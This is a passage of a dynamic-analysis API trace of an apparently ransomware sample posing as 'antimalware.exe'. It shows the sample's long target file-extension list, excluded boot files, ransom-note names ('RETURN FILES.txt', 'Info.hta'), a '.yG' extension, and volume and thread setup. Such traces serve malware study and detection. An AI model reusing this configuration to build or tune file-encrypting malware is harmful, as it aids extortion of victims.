	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6da5a8
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6da5c0
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xe) returned 0x6da638
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6da680
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x693e20
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6da6c8
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x693cf0
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6da698
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6da590
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6da5f0
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6da6b0
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6da530
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6da548
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6da560
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6da578
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6da5d8
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6d9f60
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6da1a0
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6da0c8
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6da068
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6da140
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x693d00
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6da1b8
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6da0f8
	[0036.531] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x695778, Size=0x800) returned 0x6da6f0
	[0036.531] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776
	[0036.531] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6d7ed0 | out: hHeap=0x650000) returned 1
	[0036.531] lstrlenW (lpString="") returned 0
	[0036.531] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6db1b0 | out: hHeap=0x650000) returned 1
	[0036.531] lstrlenW (lpString=".yG") returned 3
	[0036.531] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x693d60, Size=0x8) returned 0x693c30
	[0036.531] lstrlenW (lpString=".yG") returned 3
	[0036.531] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6dafd0 | out: hHeap=0x650000) returned 1
	[0036.531] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6db1c8, Size=0x20) returned 0x68f8c8
	[0036.531] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68f8c8, Size=0x40) returned 0x66b2f0
	[0036.531] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x66b2f0, Size=0x80) returned 0x6d7d48
	[0036.531] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x693d60, Size=0x8) returned 0x693b90
	[0036.531] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x693b90, Size=0x10) returned 0x6db210
	[0036.531] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6db210, Size=0x20) returned 0x68fa08
	[0036.531] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48
	[0036.531] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6d7d48 | out: hHeap=0x650000) returned 1
	[0036.531] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6db1f8, Size=0x20) returned 0x68fa58
	[0036.531] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68fa58, Size=0x40) returned 0x66b728
	[0036.531] lstrlenW (lpString="RETURN FILES.txt") returned 16
	[0036.531] lstrlenW (lpString="RETURN FILES.txt") returned 16
	[0036.531] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x66b728 | out: hHeap=0x650000) returned 1
	[0036.532] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6db1f8, Size=0x20) returned 0x68fb48
	[0036.532] lstrlenW (lpString="Info.hta") returned 8
	[0036.532] lstrlenW (lpString="Info.hta") returned 8
	[0036.532] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68fb48 | out: hHeap=0x650000) returned 1
	[0036.532] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6b6ed0, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 0x6a
	[0036.532] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6b6ed0 | out: hHeap=0x650000) returned 1
	[0036.532] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0036.532] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68fa08, Size=0x40) returned 0x66b6e0
	[0036.532] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6db030, Size=0x20) returned 0x68f788
	[0036.533] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6daf70, Size=0x20) returned 0x68f850
	[0036.533] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68f850, Size=0x40) returned 0x66b458
	[0036.533] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x66b458, Size=0x80) returned 0x6d7c38
	[0036.533] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6d7c38, Size=0x100) returned 0x695778
	[0036.533] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0036.533] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x695778 | out: hHeap=0x650000) returned 1
	[0036.533] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x6b6ed0, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc
	[0036.533] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6db700 | out: hHeap=0x650000) returned 1
	[0036.534] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6b6ed0 | out: hHeap=0x650000) returned 1
	[0036.534] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x693af0, Size=0x8) returned 0x693bf0
	[0036.534] lstrlenW (lpString="%windir%;") returned 9
	[0036.534] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68f788 | out: hHeap=0x650000) returned 1
	[0036.534] lstrlenW (lpString="C:\\WINDOWS;") returned 11
	[0036.534] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6a6ec8 | out: hHeap=0x650000) returned 1
	[0036.535] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6daf70, Size=0x20) returned 0x68f8c8
	[0036.535] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68f8c8, Size=0x40) returned 0x66b800
	[0036.535] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x66b800, Size=0x80) returned 0x6d7cc0
	[0036.535] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6d7cc0, Size=0x100) returned 0x695778
	[0036.535] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x693c60, Size=0x8) returned 0x693cb0
	[0036.535] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x693cb0, Size=0x10) returned 0x6dafd0
	[0036.535] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6dafd0, Size=0x20) returned 0x68f788
	[0036.535] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x693c00, Size=0x8) returned 0x693c60
	[0036.535] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x693af0, Size=0x8) returned 0x693c40
	[0036.535] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x693c00, Size=0x8) returned 0x693b00
	[0036.535] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x693b00, Size=0x10) returned 0x6db4e0
	[0036.536] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6db4e0, Size=0x20) returned 0x68f698
	[0036.536] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x693c60, Size=0x10) returned 0x6db240
	[0036.536] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x693c40, Size=0x10) returned 0x6db228
	[0036.536] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x693b10, Size=0x8) returned 0x693c00
	[0036.536] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x693af0, Size=0x8) returned 0x693bb0
	[0036.536] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6db240, Size=0x20) returned 0x68f850
	[0036.536] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6db228, Size=0x20) returned 0x68f8c8
	[0036.536] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x693c70, Size=0x8) returned 0x693b40
	[0036.536] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0036.536] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x695778 | out: hHeap=0x650000) returned 1
	[0036.536] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6db2b8, Size=0x20) returned 0x68fad0
	[0036.536] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x6db700, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0036.536] lstrlenW (lpString="C:\\") returned 3
	[0036.536] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0036.537] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6db700 | out: hHeap=0x650000) returned 1
	[0036.537] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x693c40, Size=0x82) returned 0x695808
	[0036.537] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x693af0, Size=0x100) returned 0x695898
	[0036.537] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x695808, Size=0x104) returned 0x695ac0
	[0036.537] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x695898, Size=0x200) returned 0x6d7ed0
	[0036.538] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x693c70 | out: hHeap=0x650000) returned 1
	[0036.538] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6d7ed0 | out: hHeap=0x650000) returned 1
	[0036.538] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6db438 | out: hHeap=0x650000) returned 1
	[0036.538] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6d6f78 | out: hHeap=0x650000) returned 1
	[0036.538] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6db2e8 | out: hHeap=0x650000) returned 1
	[0036.538] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6d7330 | out: hHeap=0x650000) returned 1
	[0036.538] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6db4e0 | out: hHeap=0x650000) returned 1
	[0036.538] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x695ac0 | out: hHeap=0x650000) returned 1
	[0036.538] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6db4f8 | out: hHeap=0x650000) returned 1
	[0036.538] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6959a0 | out: hHeap=0x650000) returned 1
	[0036.538] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6db3d8 | out: hHeap=0x650000) returned 1
	[0036.538] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x695a30 | out: hHeap=0x650000) returned 1
	[0036.538] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6db330 | out: hHeap=0x650000) returned 1
	[0036.538] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6db2a0, Size=0x20) returned 0x68f918
	[0036.538] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68f918, Size=0x40) returned 0x66b2f0
	[0036.538] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x693c10 | out: hHeap=0x650000) returned 1
	[0036.538] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6db4b0 | out: hHeap=0x650000) returned 1
	[0036.538] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x695778 | out: hHeap=0x650000) returned 1
	[0036.538] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6db3c0 | out: hHeap=0x650000) returned 1
	[0036.538] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6d74c8 | out: hHeap=0x650000) returned 1
	[0036.538] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6db228 | out: hHeap=0x650000) returned 1
	[0036.538] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x693c20 | out: hHeap=0x650000) returned 1
	[0036.538] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6db240 | out: hHeap=0x650000) returned 1
	[0036.538] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x666d58 | out: hHeap=0x650000) returned 1
	[0036.538] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x665960 | out: hHeap=0x650000) returned 1
	[0036.538] lstrlenW (lpString="%systemdrive%") returned 13
	[0036.538] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68fad0 | out: hHeap=0x650000) returned 1
	[0036.539] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6d7088 | out: hHeap=0x650000) returned 1
	[0036.539] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x693bd0 | out: hHeap=0x650000) returned 1
	[0036.539] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x696ea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260
	[0036.539] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6db420, Size=0x20) returned 0x68f918
	[0036.539] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68f918, Size=0x40) returned 0x66b578
	[0036.539] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x66b578, Size=0x80) returned 0x6d7990
	[0036.539] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6d7990, Size=0x100) returned 0x695778
	[0036.539] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x695778, Size=0x200) returned 0x695778
	[0036.539] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x695778, Size=0x400) returned 0x695778
	[0036.539] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x695778, Size=0x800) returned 0x6d7ed0
	[0036.539] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6d7ed0, Size=0x1000) returned 0x6d7ed0
	[0036.540] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x693c10, Size=0x8) returned 0x693ac0
	[0036.540] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x693ac0, Size=0x10) returned 0x6db2b8
	[0036.540] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6db2b8, Size=0x20) returned 0x68fb48
	[0036.540] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68fb48, Size=0x40) returned 0x66b188
	[0036.540] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x66b188, Size=0x80) returned 0x6d7bb0
	[0036.540] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6d7bb0, Size=0x100) returned 0x695778
	[0036.540] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x695778, Size=0x200) returned 0x695778
	[0036.540] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x695778, Size=0x400) returned 0x695778
	[0036.540] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x695778, Size=0x800) returned 0x6b7ed8
	[0036.540] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776
	[0036.540] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6d7ed0 | out: hHeap=0x650000) returned 1
	[0036.540] lstrlenW (lpString="") returned 0
	[0036.540] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6b7cf0 | out: hHeap=0x650000) returned 1
	[0036.540] lstrlenW (lpString=".yG") returned 3
	[0036.540] lstrlenW (lpString=".yG") returned 3
	[0036.540] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6b7cf0 | out: hHeap=0x650000) returned 1
	[0036.540] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6b7c48, Size=0x20) returned 0x68f8f0
	[0036.541] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68f8f0, Size=0x40) returned 0x66b650
	[0036.541] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x66b650, Size=0x80) returned 0x6d7880
	[0036.541] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6ee960, Size=0x8) returned 0x6eea40
	[0036.541] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6eea40, Size=0x10) returned 0x6b7c78
	[0036.541] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6b7c78, Size=0x20) returned 0x68fb48
	[0036.541] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48
	[0036.541] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6d7880 | out: hHeap=0x650000) returned 1
	[0036.541] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6b7d50, Size=0x20) returned 0x68f8f0
	[0036.541] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68f8f0, Size=0x40) returned 0x66b0f8
	[0036.541] lstrlenW (lpString="RETURN FILES.txt") returned 16
	[0036.541] lstrlenW (lpString="RETURN FILES.txt") returned 16
	[0036.541] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x66b0f8 | out: hHeap=0x650000) returned 1
	[0036.541] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6b7d80, Size=0x20) returned 0x68f9e0
	[0036.541] lstrlenW (lpString="Info.hta") returned 8
	[0036.541] lstrlenW (lpString="Info.hta") returned 8
	[0036.541] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68f9e0 | out: hHeap=0x650000) returned 1
	[0036.541] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6b86e0, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 0x6a
	[0036.541] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6b86e0 | out: hHeap=0x650000) returned 1
	[0036.541] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0036.541] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68fb48, Size=0x40) returned 0x66b260
	[0036.541] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6b7b10, Size=0x20) returned 0x68f878
	[0036.541] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6b7ca8, Size=0x20) returned 0x68f9e0
	[0036.541] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68f9e0, Size=0x40) returned 0x66b338
	[0036.541] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x66b338, Size=0x80) returned 0x6d7b28
	[0036.541] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6d7b28, Size=0x100) returned 0x695778
	[0036.541] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0036.542] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x695778 | out: hHeap=0x650000) returned 1
	[0036.542] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x6b86e0, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc
	[0036.542] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6eeb38 | out: hHeap=0x650000) returned 1
	[0036.542] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6b86e0 | out: hHeap=0x650000) returned 1
	[0036.543] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6eea90, Size=0x8) returned 0x6eeaf0
	[0036.543] lstrlenW (lpString="%windir%;") returned 9
	[0036.543] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68f878 | out: hHeap=0x650000) returned 1
	[0036.543] lstrlenW (lpString="C:\\WINDOWS;") returned 11
	[0036.543] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6a6ec8 | out: hHeap=0x650000) returned 1
	[0036.543] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6b7c48, Size=0x20) returned 0x68f7d8
